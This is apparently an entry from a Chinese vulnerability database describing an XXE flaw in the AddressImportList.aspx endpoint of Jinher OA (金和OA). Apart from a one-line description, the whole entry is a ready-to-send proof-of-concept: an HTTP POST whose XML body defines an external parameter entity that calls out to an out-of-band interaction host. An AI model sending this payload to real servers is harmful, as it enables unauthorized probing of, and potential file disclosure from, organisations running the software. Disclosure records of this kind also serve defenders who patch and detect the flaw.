金和OA AddressImportList.aspx XXE漏洞

日期: 2025-10-21 | 影响软件: 金和OA | POC: 已公开

漏洞描述

金和OA AddressImportList.aspx XXE漏洞

PoC代码

POST /c6/Jhsoft.Web.addressbook/AddressImportList.aspx/ HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 166
Content-Type: application/xml
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://d3vgo6fmei5a4h23cngghqqgira6guauj.oast.site/xxe_test">
%remote;]>
<root/>

相关漏洞推荐